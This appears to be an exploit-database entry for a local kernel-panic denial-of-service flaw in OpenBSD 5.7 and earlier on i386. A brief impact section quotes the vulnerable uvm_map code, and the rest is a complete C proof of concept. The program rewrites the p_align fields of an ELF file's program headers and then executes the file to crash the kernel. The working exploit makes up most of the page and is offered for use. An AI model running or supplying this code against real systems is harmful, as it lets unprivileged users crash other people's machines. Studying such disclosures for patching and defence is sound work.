OpenBSD 5.7 sys_execve() Denial Of Service



EKU-ID: 4911 CVE: OSVDB-ID:
Author: Bruno Luiz Published: 2015-06-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Impact

A non-privileged use could cause a local Denial-of-Service (DoS) condition by triggering a kernel panic through a malformed ELF
executable.

The kernel panic is reached at the UVM (virtual memory) subsystem. There are different if-else validations inside uvm_map(),and
uvm_map_vmspace_update() is called in the last else block as follows:

sys/uvm/uvm_map.c:
 if (flags & UVM_FLAG_FIXED) {
 ...
 } else if (*addr != 0 && (*addr & PAGE_MASK) == 0 &&
 (map->flags & VM_MAP_ISVMSPACE) == VM_MAP_ISVMSPACE &&
 (align == 0 || (*addr & (align - 1)) == 0) &&
 uvm_map_isavail(map, NULL, &first, &last, *addr, sz)) {
 /*
 * Address used as hint.
 *
 * Note: we enforce the alignment restriction,
 * but ignore pmap_prefer.
*/
 } else if ((maxprot & VM_PROT_EXECUTE) != 0 &&
 ...
 } else {
 /*
 * Update freelists from vmspace.
*/
 if (map->flags & VM_MAP_ISVMSPACE)
 uvm_map_vmspace_update(map, &dead, flags);


Exploit


/*
* tenochtitlan.c
*
* OpenBSD <= 5.7 Local Kernel Panic
* by d4t (@brunolcr)
*
* This PoC works only for i386.
*
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>
#ifndef __OpenBSD__
 #error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif
#ifndef __i386__
 #error "Not an i386 system !!!1111";
#endif
// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god,
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] =
" _____\n"
" _|[]_|_\n"
" _/_/=|_\\_\\_\n"
" _/_ /==| _\\ _\\_\n"
" _/__ /===|_ _\\ __\\_\n"
" _/_ _ /====| ___\\ __\\_\n"
" _/ __ _/=====|_ ___\\ ___ \\_\n"
" _/ ___ _/======| ____ \\_ __ \\_\n";
struct {
 unsigned int idx;
 Elf32_Word p_align;
} targets[] = {
 { 6, 0xb16b00b5 }, // ( * )( * )
 { 6, 0xdeadface },
 { 4, 0x00001001 },
 { 0, 0x00000004 }
};
int main(int argc, char **argv)
{
 Elf32_Ehdr *hdr;
 Elf32_Phdr *pht; // Program Header Table
 struct stat statinfo;
 char *elfptr;
 int fd, r;
 if(argc < 2){
 fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
 exit(-1);
 }
 if((fd = open(argv[1], O_RDWR)) == -1){
 perror("open");
 exit(-1);
 }
 if(fstat(fd, &statinfo) == -1){
 perror("stat");
 close(fd);
 exit(-1);
 }
 if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) ==
MAP_FAILED){
 perror("mmap");
 close(fd);
 exit(-1);
 }
 hdr = (Elf32_Ehdr *) (elfptr);
 pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);
 printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
 printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);
 srand(time(NULL));
 r = rand();
 if(r % 3 == 0){
#ifdef OpenBSD5_5
 pht[targets[0].idx].p_align = targets[0].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
 pht[targets[1].idx].p_align = targets[1].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
 } else if(r % 3 == 1){
 pht[targets[2].idx].p_align = targets[2].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
 } else {
 int p;
 for(p = 0; p < hdr->e_phnum; p++, pht++)
 if(pht->p_type == PT_LOAD){
 pht->p_align = targets[3].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
 }
 }
 // Synchronize the ELF in memory and the file system
 if(msync(elfptr, 0, MS_ASYNC) == -1){
 perror("msync");
 close(fd);
 exit(-1);
 }
 if(munmap(elfptr, statinfo.st_size) == -1){
 perror("munmap");
 close(fd);
 exit(-1);
 }
 close(fd);
 printf("%s", pyramid);
 sleep(1);
 system(argv[1]);
 // Should never reach this point, however sometimes the OS didn't crash with
 // system() until the 2nd execution. Same behavior with execl and execv too.
 printf("... try to execute %s manually.\n", argv[1]);
 return -1;
}